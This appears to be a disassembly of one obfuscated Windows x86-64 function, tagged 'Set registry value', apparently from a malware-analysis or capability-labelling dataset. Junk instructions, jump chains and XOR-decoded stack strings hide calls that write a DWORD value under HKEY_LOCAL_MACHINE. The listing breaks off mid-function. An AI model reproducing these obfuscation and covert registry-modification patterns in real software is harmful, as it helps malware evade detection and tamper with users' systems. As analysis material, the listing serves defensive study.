Function at 0x140401aa3
Capabilities:
Set registry value

Disassembly:
push r15
cmovg eax, r9d
push r14
sub ax, 0x3e7a
dec r15b
push r13
movsx rax, bx
or r13w, 0x2d14
bts r15w, r8w
push r12
cmp bx, 0x2e
cmp sil, cl
sub r13b, sil
push rsi
xadd ax, r13w
rcr r15b, cl
push rdi
cmp si, r8w
mov rax, r9
shr r14w, cl
push rbp
movzx r13w, r12b
cmc
movsx rsi, dx
push rbx
sub rsp, 0x2f8
mov sil, 0x54
cmovge r13w, di
movsx di, sil
movabs rax, 0xe009ec3224c8fd6e
mov qword [rsp + 0x2e0], rax
movzx r13, r14w
movsx si, spl
mov qword [rsp + 0x40], rax
mov ax, 0x629f
movabs rax, 0x2204bcb80ebea5a3
cmova bp, dx
mov qword [rsp + 0x2d8], rax
xchg bh, bl
movzx si, bl
mov qword [rsp + 0x48], rax
movsx ebp, r13w
xchg rdi, r12
movabs rax, 0xfbc9f38de01f2fa2
mov qword [rsp + 0x2d0], rax
not r15b
movsxd rbx, r8d
movzx r13, r15w
mov qword [rsp + 0x50], rax
cdqe
movabs rax, 0x17a75ff95317a686
mov qword [rsp + 0x2c8], rax
movsx r15, sp
mov qword [rsp + 0x58], rax
jmp 0x140401b9b
movabs rax, 0xfd99d5578f55fa6f
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x60], rax
movsxd rdi, ebp
movsx ebx, r8w
movabs rax, 0x4b3964fdcd447246
movzx edi, r12w
movzx r14w, dl
movsx r12w, al
mov qword [rsp + 0x2b8], rax
movsxd r14, r9d
movsx si, r15b
jmp 0x140401be6
mov qword [rsp + 0x68], rax
xchg sil, sil
lahf
not rax
movabs rax, 0xee88324679eb2227
mov qword [rsp + 0x2b0], rax
jmp 0x140401c11
mov qword [rsp + 0x70], rax
movabs rax, 0x6d7346ad6d4ffefa
jmp 0x140401c25
mov qword [rsp + 0x2a8], rax
jmp 0x140401c35
mov qword [rsp + 0x78], rax
not r12
movzx r14w, cl
xchg r13d, r13d
movabs rax, 0xd093683aef376a76
mov qword [rsp + 0x2a0], rax
mov r15b, dil
mov qword [rsp + 0x80], rax
cbw
movabs rax, 0xa80f93e9d32b8c6f
setno r15b
mov edi, ebp
mov qword [rsp + 0x298], rax
not bp
movsx r13, r8w
movsxd r13, r13d
mov qword [rsp + 0x88], rax
lahf
mov r15w, 0x6967
movabs rax, 0x33e730243394033e
mov qword [rsp + 0x290], rax
movzx rbp, r15w
movsx r15, r9w
mov qword [rsp + 0x90], rax
bswap rdi
movabs rax, 0xe7e3977e114e6703
bswap edi
jmp 0x140401cce
mov qword [rsp + 0x288], rax
movzx r13d, r14w
not dil
movsx ebx, r11w
mov qword [rsp + 0x98], rax
setae r13b
jmp 0x140401cf2
movabs rax, 0xb0b65ec58a603c8
xchg r15b, sil
movsxd rbx, r13d
movsx r13d, r9w
mov qword [rsp + 0x280], rax
movsx r12, r14w
movsx r12w, spl
movsx r13d, dx
mov qword [rsp + 0xa0], rax
mov sil, 0x1b
movabs rax, 0x6708be65ca8156d7
movsx r15w, r13b
mov r14b, r9b
movsxd r14, r15d
mov qword [rsp + 0x278], rax
movsxd r15, esp
movsx r14d, sp
mov qword [rsp + 0xa8], rax
movabs rax, 0x46a7044da5524090
mov r12d, 0x5e720581
mov qword [rsp + 0x270], rax
mov qword [rsp + 0xb0], rax
movabs rax, 0x4b8cb541ca050f46
mov r13w, 0x36eb
mov qword [rsp + 0x268], rax
setbe r15b
mov qword [rsp + 0xb8], rax
cmovs r15w, bx
movsx esi, r15w
movabs rax, 0xe627ab41184af921
bswap r13w
sete r13b
jmp 0x140401db5
mov qword [rsp + 0x260], rax
movsxd r15, r8d
movsx ebp, cx
movsx si, al
mov qword [rsp + 0xc0], rax
not bpl
jmp 0x140401dda
movabs rax, 0x34c77b6e31b9a
cmovae r12d, ecx
movsx di, dl
movsx edi, r10w
mov qword [rsp + 0x258], rax
mov qword [rsp + 0xc8], rax
movsxd rbp, r15d
cdqe
movzx edi, r14w
movabs rax, 0xd8cf4ec0049852bb
xchg di, r15w
not r12w
movsx r12d, r15w
mov qword [rsp + 0xd0], rax
lahf
cbw
movabs rax, 0xa5eac9844f8ea419
movsx rbx, r13w
movzx r13w, sil
mov qword [rsp + 0xd8], rax
movsx bp, dil
mov sil, r14b
xchg bp, r14w
mov qword [rsp + 0x30], 0
cbw
movsx rbx, bx
mov dword [rsp + 0x3c], 0
movabs rbp, 0x2eb490333e21dae3
mov r15, rsp
movsx rbx, bp
cbw
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
mov qword [rsp + 0xe8], r14
movzx r13, bp
movabs r15, 0xe05dec612491fd3d
mov qword [rsp + 0x100], r15
movabs r12, 0x2247bce40ef3a5e6
movsx r13, r12w
mov qword [rsp + 0x108], r12
setnp r13b
movzx ebx, cx
movabs rsi, 0xfbacf3ffe06d2fd7
cwde
movsx r13w, dl
jmp 0x140401edd
mov qword [rsp + 0x110], rsi
movsxd rax, r14d
movabs rdi, 0x17c85fba5363a6e8
mov qword [rsp + 0x118], rdi
movabs rax, 0xfdf6d5258f21fa01
movsxd r13, r13d
mov qword [rsp + 0x120], rax
movsx ebx, r10w
setg bh
mov rbx, rax
xchg r13w, r13w
cdqe
movzx r13d, r11w
movabs rax, 0x4b4d6498cd17722a
jmp 0x140401f32
mov qword [rsp + 0x2f0], rax
movsxd r13, r8d
movsx r13, r15w
mov qword [rsp + 0x128], rax
cmovae r13d, r8d
movzx rax, r15w
movabs rax, 0xeefa322379b8227b
movsx r13, r14w
bswap r13w
mov qword [rsp + 0x250], rax
not r13b
movzx r13w, r8b
mov qword [rsp + 0x130], rax
movabs rax, 0x6d1646ce6d26fe8c
mov r13b, r12b
movsxd r13, r12d
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x138], rax
bswap r13w
movabs rax, 0xd0fb6869ef6b6a05
movzx r13d, r8w
mov qword [rsp + 0x240], rax
movzx r13, r10w
movsx r13, bp
not r13
mov qword [rsp + 0x140], rax
mov ah, 0x1c
movabs rax, 0xa86b938cd3598c0e
bswap r13w
mov qword [rsp + 0x238], rax
not r13w
setge r13b
movzx r13w, r9b
mov qword [rsp + 0x148], rax
movabs rax, 0x3382304733f7037f
cmova r13, rcx
mov qword [rsp + 0x230], rax
movsx r13d, r9w
mov qword [rsp + 0x150], rax
cdqe
jmp 0x14040201f
movabs rax, 0xe7b39722113d6770
movsx r13w, spl
mov r13d, 0x2f6332fe
movzx r13, bp
mov qword [rsp + 0x228], rax
movzx r13w, dil
mov qword [rsp + 0x158], rax
movabs rax, 0xb66658d58d403a9
mov r13b, r8b
movzx r13, si
mov qword [rsp + 0x220], rax
mov r13b, cl
mov qword [rsp + 0x160], rax
movabs rax, 0x677abe00caf556b2
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x168], rax
movabs rax, 0x46ce040ba50e40e3
mov qword [rsp + 0x210], rax
movzx r13w, r11b
mov qword [rsp + 0x170], rax
movzx r13, sp
movsxd rax, r15d
movabs rax, 0x4bedb536ca600f34
movzx r13d, r13w
movzx r13w, cl
mov qword [rsp + 0x208], rax
movsx r13d, ax
mov qword [rsp + 0x178], rax
movsx eax, bx
movabs rax, 0xe648ab111826f94d
movzx r13, r15w
movzx r13w, cl
movsxd r13, eax
mov qword [rsp + 0x200], rax
movsx r13, bp
mov qword [rsp + 0x180], rax
movzx r13d, r10w
movabs rax, 0x7a4c14b68a1bf6
mov qword [rsp + 0x1f8], rax
setnp r13b
movzx r13w, sil
xchg r13w, r13w
mov qword [rsp + 0x188], rax
movsx eax, r14w
movabs rax, 0xd8a24eaf04dc52e7
jmp 0x140402147
mov qword [rsp + 0x1f0], rax
movzx r13w, r15b
mov r13w, r13w
mov qword [rsp + 0x190], rax
lahf
movabs rax, 0xa5bac9ea4fe7a478
movsxd r13, eax
jmp 0x140402173
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x198], rax
jmp 0x140402188
movabs rax, 0x2edd90553e4eda91
movsx r13d, cx
mov qword [rsp + 0x1e0], rax
movsx r13, r14w
movzx r13w, spl
mov qword [rsp + 0x1a0], rax
xchg al, ah
mov al, 0xde
movzx eax, r8w
movabs rax, 0x28903e4866e9b93a
mov qword [rsp + 0x1d8], rax
cmovb r13w, ax
mov qword [rsp + 0x1a8], rax
movsxd r13, eax
lea r13, [rsp + 0x100]
jmp 0x1404021e9
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404021f6
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x140402203
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x14040220d
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x14040221b
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x140402225
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x140402233
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x14040223d
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x140402253
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x140402264
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x14040227d
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x14040228a
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x14040229b
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1404022a8
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1404022b9
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1404022c6
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1404022da
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1404022f6
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movzx r8w, dil
cqo
lea rdx, [rsp + 0x40]
cmovle ecx, r10d
lea r8, [rsp + 0x30]
mov cl, 0x9b
mov rcx, 0xffffffff80000002
jmp 0x140402330
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x40], rax
movzx rax, si
movabs rax, 0x222ebca20e96a58a
jmp 0x140402360
mov qword [rsp + 0x1c8], rax
jmp 0x14040236d
mov qword [rsp + 0x48], rax
movabs rax, 0xfbcdf388e0082fa5
jmp 0x140402381
mov qword [rsp + 0x2e8], rax
jmp 0x14040238e
mov qword [rsp + 0x50], rax
cbw
movabs rax, 0x17c85fba530fa684
jmp 0x1404023a4
mov qword [rsp + 0x1c0], rax
jmp 0x1404023b1
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
movsxd rax, r8d
nop
mov eax, r10d
mov qword [rsp + 0x108], r12
lahf
not eax
mov qword [rsp + 0x110], rsi
movsx eax, cx
movzx eax, r13w
mov ax, sp
mov qword [rsp + 0x118], rdi
movsx rax, r12w
mov rax, r13
jmp 0x1404023f7
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x14040240e
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
not cx
jmp 0x140402421
mov rcx, qword [rsp + 0x30]
shl eax, 0xad
rol rdx, 0xe2
rdtsc
lea rax, [rsp + 0x3c]
shl dx, 0x42
cmp edi, r8d
cdq
mov qword [rsp + 0x20], rax
cmp r10, rbp
movzx rdx, r12w
mov dword [rsp + 0x28], 4
shl dh, 0x16
xadd dh, dh
lea rdx, [rsp + 0x40]
cmovb r9, r9
cmp spl, dl
xor r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x14040247b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x40], rax
movsx eax, sp
mov rax, qword [rsp + 0x2d8]
jmp 0x14040249e
mov qword [rsp + 0x48], rax
mov rax, 0x11dd74fa
movzx eax, ax
movzx rax, dx
mov rax, qword [rsp + 0x2d0]
jmp 0x1404024be
mov qword [rsp + 0x50], rax
cmove rax, r15
mov rax, qword [rsp + 0x2c8]
jmp 0x1404024d4
mov qword [rsp + 0x58], rax
bswap eax
movsx ax, r13b
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
jmp 0x140402507
mov qword [rsp + 0x70], rax
cdqe
movzx eax, bp
mov rax, qword [rsp + 0x2a8]
jmp 0x14040251e
mov qword [rsp + 0x78], rax
movzx eax, si
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
movzx rax, di
mov rax, qword [rsp + 0x298]
jmp 0x140402547
mov qword [rsp + 0x88], rax
lahf
movsx eax, cx
movsxd rax, r9d
mov rax, qword [rsp + 0x290]
jmp 0x140402563
mov qword [rsp + 0x90], rax
movsx rax, dx
mov al, 0x8a
movsxd rax, r14d
mov rax, qword [rsp + 0x288]
jmp 0x140402581
mov qword [rsp + 0x98], rax
movsx ax, r11b
jmp 0x140402593
mov rax, qword [rsp + 0x280]
jmp 0x1404025a0
mov qword [rsp + 0xa0], rax
movzx eax, r8w
cdqe
jmp 0x1404025b3
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
movzx rax, r14w
mov al, 0x8b
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
movsx eax, r10w
mov rax, qword [rsp + 0x268]
jmp 0x1404025ea
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
jmp 0x1404025ff
mov qword [rsp + 0xc0], rax
movzx eax, sp
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
movsx ax, dl
lahf
cwde
movabs rax, 0xd8c04eda048c52bb
jmp 0x14040262f
mov qword [rsp + 0xd0], rax
cwde
cdqe
movsx ax, r12b
movabs rax, 0xa5eac9894f8ea414
jmp 0x14040264e
mov qword [rsp + 0xd8], rax
movsx rax, r13w
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
movzx r14w, cl
mov qword [rsp + 0x100], r15
mov ah, bl
movzx eax, r9w
mov qword [rsp + 0x108], r12
bswap r14d
cdqe
mov qword [rsp + 0x110], rsi
xchg al, r14b
movzx r14, r10w
mov qword [rsp + 0x118], rdi
nop
jmp 0x1404026a8
mov rbp, rbx
lahf
bswap r14w
movzx rax, bx
mov qword [rsp + 0x120], rbx
mov r14, qword [rsp + 0x2f0]
mov eax, ecx
mov qword [rsp + 0x128], r14
mov al, r13b
nop
mov rax, qword [rsp + 0x250]
jmp 0x1404026df
mov qword [rsp + 0x130], rax
cbw
mov rax, qword [rsp + 0x248]
jmp 0x1404026f6
mov qword [rsp + 0x138], rax
xchg al, ah
movsx rax, bp
mov rax, qword [rsp + 0x240]
jmp 0x140402711
mov qword [rsp + 0x140], rax
movzx ax, cl
bswap eax
nop
mov rax, qword [rsp + 0x238]
jmp 0x14040272d
mov qword [rsp + 0x148], rax
mov ax, r14w
xchg ah, al
movzx eax, r8w
mov rax, qword [rsp + 0x230]
jmp 0x14040274c
mov qword [rsp + 0x150], rax
movsx eax, r8w
cmovbe eax, r15d
mov rax, qword [rsp + 0x228]
jmp 0x140402769
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
jmp 0x140402786
mov rax, qword [rsp + 0x218]
jmp 0x140402793
mov qword [rsp + 0x168], rax
movsxd rax, r15d
movzx eax, cx
mov rax, qword [rsp + 0x210]
jmp 0x1404027ae
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x1404027c3
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x200]
jmp 0x1404027d8
mov qword [rsp + 0x180], rax
movzx ax, dl
mov rax, r11
cbw
mov rax, qword [rsp + 0x1f8]
jmp 0x1404027f6
mov qword [rsp + 0x188], rax
movzx ax, al
mov rax, qword [rsp + 0x1f0]
jmp 0x14040280f
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
jmp 0x140402824
mov qword [rsp + 0x198], rax
not ax
mov rax, qword [rsp + 0x1e0]
jmp 0x14040283c
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x140402851
mov qword [rsp + 0x1a8], rax
not ah
movsxd rax, edi
mov ax, 0x4c47
mov rax, r13
jmp 0x14040286a
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140402874
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x140402883
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x140402890
movaps xmmword [rsp + 0x40], xmm0
jmp 0x14040289a
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1404028a8
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1404028b6
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1404028c4
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1404028d1
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1404028ea
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1404028fb
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x140402908
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x140402919
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x140402926
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x140402937
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x140402944
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x140402960
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x140402974
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
mov r8w, r10w
mov ch, 0xd5
mov rcx, 0xffffffff80000002
movsx r8, r10w
lea r8, [rsp + 0x30]
jmp 0x1404029ac
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movsx bx, r13b
cmovo rbx, rdi
mov qword [rsp + 0x40], rax
mov bx, 0x155e
cbw
not bx
mov rax, qword [rsp + 0x1c8]
cmove ebx, edi
xchg bx, bx
mov qword [rsp + 0x48], rax
movsx ebx, r10w
mov rbx, qword [rsp + 0x2e8]
movzx ax, al
mov qword [rsp + 0x50], rbx
movsx eax, r8w
cmove ax, si
seto ah
mov rax, qword [rsp + 0x1c0]
jmp 0x140402a11
mov qword [rsp + 0x58], rax
not rax
nop
cbw
mov qword [rsp + 0x100], r15
movzx rax, ax
mov qword [rsp + 0x108], r12
movsx rax, si
mov qword [rsp + 0x110], rsi
cmovg eax, r12d
lahf
mov qword [rsp + 0x118], rdi
movzx ax, r9b
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x140402a5c
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x140402a69
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140402a73
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
sub ah, 0xc1
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
rol dl, 0x78
mov qword [rsp + 0x20], rax
and dx, 0x7a8c
ror r9b, 0xd5
and dx, ax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
test rbp, r10
test ax, 0x51be
xor r8d, r8d
movzx r9w, bpl
mov r9d, 4
jmp 0x140402ac4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x140402ae2
mov qword [rsp + 0x40], rax
setg al
not ax
jmp 0x140402af2
mov rax, qword [rsp + 0x2d8]
jmp 0x140402aff
mov qword [rsp + 0x48], rax
bswap ax
xchg al, ah
movsx ax, bh
mov rax, qword [rsp + 0x2d0]
jmp 0x140402b1a
mov qword [rsp + 0x50], rax
movzx rax, r12w
mov rax, qword [rsp + 0x2c8]
jmp 0x140402b30
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x140402b4f
mov qword [rsp + 0x68], rax
jmp 0x140402b59
mov rax, qword [rsp + 0x2b0]
jmp 0x140402b66
mov qword [rsp + 0x70], rax
cwde
cdqe
cbw
mov rax, qword [rsp + 0x2a8]
jmp 0x140402b7d
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
jmp 0x140402b8f
mov qword [rsp + 0x80], rax
jmp 0x140402ba0
mov rax, qword [rsp + 0x298]
jmp 0x140402bad
mov qword [rsp + 0x88], rax
movzx rax, r12w
mov rax, qword [rsp + 0x290]
jmp 0x140402bc6
mov qword [rsp + 0x90], rax
bswap rax
movsx rax, r15w
mov rax, qword [rsp + 0x288]
jmp 0x140402be2
mov qword [rsp + 0x98], rax
mov rax, 0x7ff05d6b
movsx rax, bx
cmovno eax, esp
mov rax, qword [rsp + 0x280]
jmp 0x140402c05
mov qword [rsp + 0xa0], rax
not rax
mov rax, qword [rsp + 0x278]
jmp 0x140402c1d
mov qword [rsp + 0xa8], rax
lahf
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
cbw
mov rax, qword [rsp + 0x268]
jmp 0x140402c45
mov qword [rsp + 0xb8], rax
cbw
cmovb rax, rsi
movsx rax, bp
mov rax, qword [rsp + 0x260]
jmp 0x140402c64
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x258]
jmp 0x140402c79
mov qword [rsp + 0xc8], rax
cbw
movabs rax, 0xd8c34edb048f52bb
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5c8c98b4f83a416
jmp 0x140402ca4
mov qword [rsp + 0xd8], rax
cmovge eax, ecx
movsx ax, sil
movabs rax, 0x2eb290273e1edaf5
jmp 0x140402cc3
mov qword [rsp + 0xe0], rax
cwde
movabs rax, 0x28f53e246680b95c
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x100], r15
mov al, r10b
mov ax, 0x6a14
movsx ax, bl
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movzx eax, r8w
not ah
mov ah, 0xc2
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rbp
cwde
cdqe
mov eax, r9d
mov qword [rsp + 0x128], r14
movzx ax, dl
movsx eax, r10w
cdqe
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x140402d4f
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
jmp 0x140402d64
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
jmp 0x140402d79
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
jmp 0x140402d8e
mov qword [rsp + 0x150], rax
movsxd rax, esi
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
cmovno ax, r15w
movsx ax, r11b
mov rax, qword [rsp + 0x220]
jmp 0x140402dc0
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x168], rax
nop
mov rax, qword [rsp + 0x210]
jmp 0x140402de7
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x140402dfc
mov qword [rsp + 0x178], rax
movsxd rax, r14d
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x180], rax
cbw
movzx eax, bx
mov al, r13b
mov rax, qword [rsp + 0x1f8]
jmp 0x140402e2c